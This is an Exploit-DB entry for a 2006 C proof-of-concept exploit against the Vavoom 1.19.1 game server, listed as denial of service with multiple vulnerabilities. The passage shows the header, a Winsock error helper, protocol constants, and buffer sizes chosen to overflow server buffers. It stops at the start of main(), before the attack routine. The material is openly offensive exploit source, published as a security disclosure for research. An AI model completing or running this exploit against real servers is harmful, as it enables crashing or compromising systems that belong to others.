Exploit-DB #1613
Description: Vavoom 1.19.1 - Multiple Vulnerabilities/Denial of Service
Type: dos
Platform: windows
Date: 2006-03-26
Author: Luigi Auriemma

Exploit:
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <zlib.h>

#ifdef WIN32
    #include <winsock.h>
/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>

void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "\nError: %s\n", error);
    exit(1);
}

    #define close   closesocket
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <sys/param.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC  1
#endif



#define VER             "0.1"
#define PORT            26000
#define BUFFSZ          8192
#define MAXSZ           (0x7ff - NET_HEADERSIZE)    // this is the max
#define BOFSZ           1040                        // less than CBOFSZ and major than MAX_DATAGRAM
#define CBOFSZ          0x7ff                       // 1200 (or less) is enough
#define FLAGZ(x,y)      x | (y & NETFLAG_COMPR_LEN_MASK) | ((len << 16) & NETFLAG_LENGTH_MASK)
#define NICK            "\\class\\0"    \
                        "\\color\\0"    \
                        "\\name\\"

#define NET_HEADERSIZE  10
#define MAX_DATAGRAM    1024
#define MAX_INFO_STRING 1024
#define MaxSize         4096

enum {
    clc_bad,
    clc_nop,
    clc_disconnect,
    clc_move,
    clc_stringcmd,
    clc_player_info,
};

//  NetHeader flags
#define NETFLAG_COMPR_LEN_MASK	0x000007ff
#define NETFLAG_COMPR_MODE_MASK	0x0000f800
#define NETFLAG_LENGTH_MASK		0x07ff0000
#define NETFLAG_FLAGS_MASK		0xf8000000
#define NETFLAG_COMPR_NONE		0x00000000
#define NETFLAG_COMPR_ZIP		0x00000800
#define NETFLAG_EOM				0x08000000
#define NETFLAG_ACK				0x10000000
#define NETFLAG_DATA			0x20000000
#define NETFLAG_UNRELIABLE		0x40000000
#define NETFLAG_CTL				0x80000000

//  Client request
#define CCREQ_CONNECT			1
#define CCREQ_SERVER_INFO		2

//  Server reply
#define CCREP_ACCEPT			11
#define CCREP_REJECT			12
#define CCREP_SERVER_INFO		13



int info_proto(u_char *data, int len);
u_short vavoom_crc(u_char *data, int len);
int mycpy(u_char *dst, u_char *src);
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err);
int timeout(int sock, int sec);
u_int resolv(char *host);
void std_err(void);



struct  sockaddr_in peer;



int main(int argc, char *argv[]) {
    long    clen;
    u_int   seed,
            *flags,
            *se